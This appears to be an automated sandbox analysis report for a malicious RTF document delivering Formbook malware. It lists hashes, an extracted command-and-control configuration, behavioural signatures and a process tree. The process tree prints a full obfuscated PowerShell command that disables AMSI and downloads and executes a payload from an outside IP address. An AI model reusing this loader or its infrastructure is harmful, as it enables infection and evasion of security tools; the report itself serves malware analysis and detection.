Analysis
-
max time kernel
150s -
max time network
27s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
22-01-2021 08:22
Static task
static1
Behavioral task
behavioral1
Sample
file.rtf
Resource
win7v20201028
Behavioral task
behavioral2
Sample
file.rtf
Resource
win10v20201028
General
-
Target
file.rtf
-
Size
2.1MB
-
MD5
8722742e5c06fa177d89e333eb144672
-
SHA1
0e47b669b2e65a2feda0acdf07e654b358dacb2e
-
SHA256
415df6eced9ab10f5acdc12b53746463692d9ba2e697dee481989300e4ae98e1
-
SHA512
6b024bd1a1c23b52409a08321d25582b5487476205d377354cf152d7befb379ff53bbbe0a4ab339dac0dccd8cc8a21fe9e8846bb9ff5d80ba9dc7b6280176173
Malware Config
Extracted
formbook
http://www.transparentpetcrate.com/lnb/
sauschwein.info
ywpntv.com
gironbeautysalon.online
cryptogeekstuff.com
leosrock.com
sistersv.space
ilss.life
vshuzi.com
europeanculinarymagic.com
mdtlalab.com
boletasenorden.com
eebushe11.com
sms8888.com
arrogantjerxs.com
aboudmotors.com
vzuels.com
searko.com
thathealthysoul.com
365wt38493984284.com
solarpanelsystemflorida.com
testdummylab.com
1728025.com
vrpreservation.com
reinadelosfrikis.com
questionmaze.com
standingstoneevents.com
achraflaabassi.com
austinsubarusouth.com
africa-pif.com
the-hidden-places.com
boobieneckpillow.com
dvisionz.com
charlottescaife.com
shahedahtextiles.com
celebratewithlawilliams.com
sochobadlo.com
soccervest.com
hqyc04.com
lovepeacejoygratitude.com
pamsphils.com
miaportfolio.site
bednhomes.com
centellagoodyear.com
trubluau.com
geraheselouine.com
elkinart.com
next-setup-file.xyz
rashiratan.xyz
memotrace.com
groupdating.club
netflx-updt78f.com
ramonaestudiocreativo.com
giveawayconsumers.xyz
toponeswap.com
bestiephone.com
lifeharness.com
bikerleatherz.com
property-pleasant.website
thediamondbydoron.com
gamesredar.club
tiresgreat.info
actevate.xyz
drblowers.com
nasosd.com
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 996 844 Powershell.exe -
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1140-25-0x000000000041EBA0-mapping.dmp formbook behavioral1/memory/1140-24-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/1440-35-0x0000000000080000-0x00000000000AE000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
Powershell.exeflow pid process 6 996 Powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
Powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk Powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious use of SetThreadContext 3 IoCs
Processes:
Powershell.execontrol.exeexplorer.exedescription pid process target process PID 996 set thread context of 1140 996 Powershell.exe control.exe PID 1140 set thread context of 1264 1140 control.exe Explorer.EXE PID 1440 set thread context of 1264 1440 explorer.exe Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 644 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 35 IoCs
Processes:
Powershell.execontrol.exeexplorer.exepid process 996 Powershell.exe 996 Powershell.exe 996 Powershell.exe 996 Powershell.exe 996 Powershell.exe 996 Powershell.exe 996 Powershell.exe 996 Powershell.exe 1140 control.exe 1140 control.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe 1440 explorer.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
control.exeexplorer.exepid process 1140 control.exe 1140 control.exe 1140 control.exe 1440 explorer.exe 1440 explorer.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
Processes:
Powershell.execontrol.exeexplorer.exedescription pid process Token: SeDebugPrivilege 996 Powershell.exe Token: SeIncreaseQuotaPrivilege 996 Powershell.exe Token: SeSecurityPrivilege 996 Powershell.exe Token: SeTakeOwnershipPrivilege 996 Powershell.exe Token: SeLoadDriverPrivilege 996 Powershell.exe Token: SeSystemProfilePrivilege 996 Powershell.exe Token: SeSystemtimePrivilege 996 Powershell.exe Token: SeProfSingleProcessPrivilege 996 Powershell.exe Token: SeIncBasePriorityPrivilege 996 Powershell.exe Token: SeCreatePagefilePrivilege 996 Powershell.exe Token: SeBackupPrivilege 996 Powershell.exe Token: SeRestorePrivilege 996 Powershell.exe Token: SeShutdownPrivilege 996 Powershell.exe Token: SeDebugPrivilege 996 Powershell.exe Token: SeSystemEnvironmentPrivilege 996 Powershell.exe Token: SeRemoteShutdownPrivilege 996 Powershell.exe Token: SeUndockPrivilege 996 Powershell.exe Token: SeManageVolumePrivilege 996 Powershell.exe Token: 33 996 Powershell.exe Token: 34 996 Powershell.exe Token: 35 996 Powershell.exe Token: SeIncreaseQuotaPrivilege 996 Powershell.exe Token: SeSecurityPrivilege 996 Powershell.exe Token: SeTakeOwnershipPrivilege 996 Powershell.exe Token: SeLoadDriverPrivilege 996 Powershell.exe Token: SeSystemProfilePrivilege 996 Powershell.exe Token: SeSystemtimePrivilege 996 Powershell.exe Token: SeProfSingleProcessPrivilege 996 Powershell.exe Token: SeIncBasePriorityPrivilege 996 Powershell.exe Token: SeCreatePagefilePrivilege 996 Powershell.exe Token: SeBackupPrivilege 996 Powershell.exe Token: SeRestorePrivilege 996 Powershell.exe Token: SeShutdownPrivilege 996 Powershell.exe Token: SeDebugPrivilege 996 Powershell.exe Token: SeSystemEnvironmentPrivilege 996 Powershell.exe Token: SeRemoteShutdownPrivilege 996 Powershell.exe Token: SeUndockPrivilege 996 Powershell.exe Token: SeManageVolumePrivilege 996 Powershell.exe Token: 33 996 Powershell.exe Token: 34 996 Powershell.exe Token: 35 996 Powershell.exe Token: SeDebugPrivilege 1140 control.exe Token: SeDebugPrivilege 1440 explorer.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
Explorer.EXEpid process 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 644 WINWORD.EXE 644 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
EQNEDT32.EXECmD.exePowershell.exeExplorer.EXEexplorer.exedescription pid process target process PID 1180 wrote to memory of 1956 1180 EQNEDT32.EXE CmD.exe PID 1180 wrote to memory of 1956 1180 EQNEDT32.EXE CmD.exe PID 1180 wrote to memory of 1956 1180 EQNEDT32.EXE CmD.exe PID 1180 wrote to memory of 1956 1180 EQNEDT32.EXE CmD.exe PID 1956 wrote to memory of 1724 1956 CmD.exe cscript.exe PID 1956 wrote to memory of 1724 1956 CmD.exe cscript.exe PID 1956 wrote to memory of 1724 1956 CmD.exe cscript.exe PID 1956 wrote to memory of 1724 1956 CmD.exe cscript.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 996 wrote to memory of 1140 996 Powershell.exe control.exe PID 1264 wrote to memory of 1440 1264 Explorer.EXE explorer.exe PID 1264 wrote to memory of 1440 1264 Explorer.EXE explorer.exe PID 1264 wrote to memory of 1440 1264 Explorer.EXE explorer.exe PID 1264 wrote to memory of 1440 1264 Explorer.EXE explorer.exe PID 1440 wrote to memory of 968 1440 explorer.exe cmd.exe PID 1440 wrote to memory of 968 1440 explorer.exe cmd.exe PID 1440 wrote to memory of 968 1440 explorer.exe cmd.exe PID 1440 wrote to memory of 968 1440 explorer.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file.rtf"2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\WINDOWS\syswow64\control.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\CmD.exeCmD.exe /C cscript %tmp%\Client.vbs AC2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript C:\Users\Admin\AppData\Local\Temp\Client.vbs AC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$65477688685775746477338282837874455664=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,49,68,55,56,53,70,50,56,53,67,61,36,49,68,55,56,53,70,50,56,53,67,61,87,114,105,116,101,45,72,111,115,116,32,39,69,67,52,65,65,66,53,56,48,56,50,50,51,69,66,55,50,50,70,57,67,50,48,54,51,69,68,48,53,54,54,54,53,65,65,56,48,65,67,53,54,53,56,70,57,68,48,54,56,49,53,55,50,48,55,53,57,67,51,69,66,52,67,52,66,55,48,54,53,55,50,52,67,51,68,69,70,65,54,51,68,69,66,53,56,70,67,51,70,65,57,68,50,50,49,50,49,54,55,52,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,54,55,54,56,48,65,69,49,54,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,54,55,54,56,48,65,69,49,54,59,36,69,55,68,69,65,56,68,66,48,51,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,69,55,68,69,65,56,68,66,48,51,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,50,48,55,46,49,52,56,46,49,49,48,46,50,57,47,102,101,119,47,101,114,97,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,69,55,68,69,65,56,68,66,48,51,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,69,55,68,69,65,56,68,66,48,51,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($65477688685775746477338282837874455664)|I`E`X1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\syswow64\control.exe"{path}"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Client.vbsMD5
454c9cbbf86601a16856535863465774
SHA1b55cc652332a2cb5ae01e74089cd1e0a55842c5f
SHA256e9f406b218f7c12ee4906f93320b7d71518b381517e73d180d11a0cd00914518
SHA5120f2e5dc1aa1c8b99873e86d19579d31e05801c08fb282aa30e089f21812508ac0065d94f3beea401f585863667a43c4d71f76bce95573997dd74ca249dd6dd8a
-
memory/644-3-0x0000000070301000-0x0000000070303000-memory.dmpFilesize
8KB
-
memory/644-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/644-2-0x0000000072881000-0x0000000072884000-memory.dmpFilesize
12KB
-
memory/968-33-0x0000000000000000-mapping.dmp
-
memory/996-21-0x000000001ACFA000-0x000000001AD19000-memory.dmpFilesize
124KB
-
memory/996-23-0x000000001ACA0000-0x000000001ACE4000-memory.dmpFilesize
272KB
-
memory/996-10-0x000007FEFBCD1000-0x000007FEFBCD3000-memory.dmpFilesize
8KB
-
memory/996-20-0x000000001C210000-0x000000001C211000-memory.dmpFilesize
4KB
-
memory/996-12-0x000007FEF5380000-0x000007FEF5D6C000-memory.dmpFilesize
9.9MB
-
memory/996-13-0x0000000002250000-0x0000000002251000-memory.dmpFilesize
4KB
-
memory/996-14-0x000000001AD70000-0x000000001AD71000-memory.dmpFilesize
4KB
-
memory/996-15-0x0000000002330000-0x0000000002331000-memory.dmpFilesize
4KB
-
memory/996-16-0x000000001ACF0000-0x000000001ACF2000-memory.dmpFilesize
8KB
-
memory/996-17-0x000000001ACF4000-0x000000001ACF6000-memory.dmpFilesize
8KB
-
memory/996-18-0x0000000002360000-0x0000000002361000-memory.dmpFilesize
4KB
-
memory/996-19-0x000000001B720000-0x000000001B721000-memory.dmpFilesize
4KB
-
memory/1140-27-0x0000000000700000-0x0000000000A03000-memory.dmpFilesize
3.0MB
-
memory/1140-28-0x0000000000210000-0x0000000000224000-memory.dmpFilesize
80KB
-
memory/1140-25-0x000000000041EBA0-mapping.dmp
-
memory/1140-24-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/1180-5-0x00000000765E1000-0x00000000765E3000-memory.dmpFilesize
8KB
-
memory/1264-29-0x0000000004C30000-0x0000000004D06000-memory.dmpFilesize
856KB
-
memory/1440-32-0x000000006B0B1000-0x000000006B0B3000-memory.dmpFilesize
8KB
-
memory/1440-30-0x0000000000000000-mapping.dmp
-
memory/1440-35-0x0000000000080000-0x00000000000AE000-memory.dmpFilesize
184KB
-
memory/1440-36-0x0000000002270000-0x0000000002573000-memory.dmpFilesize
3.0MB
-
memory/1440-34-0x00000000004B0000-0x0000000000731000-memory.dmpFilesize
2.5MB
-
memory/1440-37-0x0000000002100000-0x0000000002193000-memory.dmpFilesize
588KB
-
memory/1724-7-0x0000000000000000-mapping.dmp
-
memory/1724-11-0x00000000026E0000-0x00000000026E4000-memory.dmpFilesize
16KB
-
memory/1772-22-0x000007FEF7790000-0x000007FEF7A0A000-memory.dmpFilesize
2.5MB
-
memory/1956-6-0x0000000000000000-mapping.dmp